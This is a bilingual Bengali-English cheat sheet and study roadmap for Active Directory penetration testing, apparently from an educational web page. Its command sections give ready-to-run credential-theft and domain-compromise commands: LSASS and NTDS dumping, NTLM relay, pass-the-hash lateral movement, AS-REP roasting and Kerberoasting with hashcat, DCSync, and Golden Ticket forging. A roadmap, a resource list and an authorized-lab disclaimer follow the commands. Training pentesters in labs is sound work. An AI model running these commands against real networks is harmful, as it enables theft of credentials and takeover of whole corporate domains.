`pypykatz lsa minidump lsass.dmp`	LSASS parse

`crackmapexec smb -u Admin -H HASH --ntds`	NTDS dump
`ntlmrelayx.py -tf targets.txt -smb2support`	NTLM Relay

🌐 Lateral Movement

`psexec.py corp/Admin@192.168.56.11 -hashes :HASH`	PSExec PTH
`wmiexec.py corp/Admin@192.168.56.11 -hashes :HASH`	WMIExec
`evil-winrm -i IP -u Admin -H HASH`	WinRM PTH
`crackmapexec smb IP -u Admin -H HASH -x "whoami"`	CME execute
`Invoke-Command -ComputerName WS01 -ScriptBlock {whoami}`	PS Remoting

👑 Domain Compromise Commands

```
# ═══ AS-REP Roast ═══ GetNPUsers.py corp.local/ -usersfile users.txt -no-pass -dc-ip 192.168.56.10 hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt # ═══ Kerberoast ═══ GetUserSPNs.py corp.local/john:Password123 -dc-ip 192.168.56.10 -request -outputfile kerb.txt hashcat -m 13100 kerb.txt /usr/share/wordlists/rockyou.txt # ═══ Pass-the-Hash ═══ crackmapexec smb 192.168.56.0/24 -u Administrator -H NTLM_HASH --continue-on-success evil-winrm -i 192.168.56.10 -u Administrator -H NTLM_HASH # ═══ DCSync ═══ secretsdump.py corp.local/Administrator:Admin123@192.168.56.10 -just-dc-ntlm # ═══ Golden Ticket ═══ # 1. KRBTGT hash পাও (DCSync থেকে) # 2. Domain SID: lookupsid.py corp.local/john:Pass123@dc01.corp.local 0 # 3. Golden Ticket তৈরি: ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-... -domain corp.local -duration 3650 godmode export KRB5CCNAME=godmode.ccache secretsdump.py -k -no-pass corp.local/godmode@dc01.corp.local
```

🗺️ AD Pentester Roadmap

1

□ Phase 1 — Windows ভিত্তি 1-2 মাস

Windows OS internals, Active Directory concept, PowerShell না জানলে AD attack বোঝা কঠিন।

Windows Internals | PowerShell basics | AD Architecture | Kerberos protocol

SMB, NTLM basics

↓

2

🔧 Phase 2 — Lab তৈরি 1 সপ্তাহ

Vulnerable-AD দিয়ে নিজের lab তৈরি করো — হাতে-কলমে করা ছাড়া শেখা হবে না।

Windows Server VM | Vulnerable-AD script | Kali + impacket | BloodHound setup

↓

3

⚔️ Phase 3 — Core Attacks 2-3 মাস

Kerberoast, PTH, BloodHound — এগুলো ছাড়া AD pentest অসম্পূর্ণ।

AS-REP Roasting | Kerberoasting | Pass-the-Hash | BloodHound paths | NTLM Relay

↓

4

👑 Phase 4 — Advanced & Domain Compromise 2-3 মাস

ACL abuse, DCSync, Golden Ticket, CVE exploitation — পুরো domain control।

ACL abuse | DCSync | Golden Ticket | Delegation attacks | GOAD lab

↓

5

🏆 Phase 5 — Certification & Career চলমান

CRTP → CRTE → CRTO → OSCP — AD-focused certification পথ।

CRTP (Altered Security) | CRTE | CRTO (Zero-Point) | OSCP | HackTheBox Pro Labs

📚 সেরা Resources

Resource	ধরন	বিষয়
HackTheBox Pro Labs: RastaLabs	Lab	Real AD environment practice

Resource	ধরন	বিষয়
GOAD (Game of AD)	Lab	Vulnerable AD home lab
TryHackMe — Holo / Throwback	Lab	AD-focused learning paths
CRTP Course (Nikhil Mittal)	Course	AD attack lab + cert
ired.team	Notes	Best free AD attack notes
S1ren / TCM Security	YouTube	Free AD course
BloodHound Docs	Docs	BloodHound usage
impacket GitHub	Tool	All AD Python tools

🏰 "In Active Directory, every misconfiguration is a path to Domain Admin."

এই ডকুমেন্ট সম্পূর্ণ শিক্ষামূলক উদ্দেশ্যে। সব সময় authorized lab বা pentest environment-এ practice করো।

v1.0 — Active Directory Attack | Bilingual | Dark/Light Mode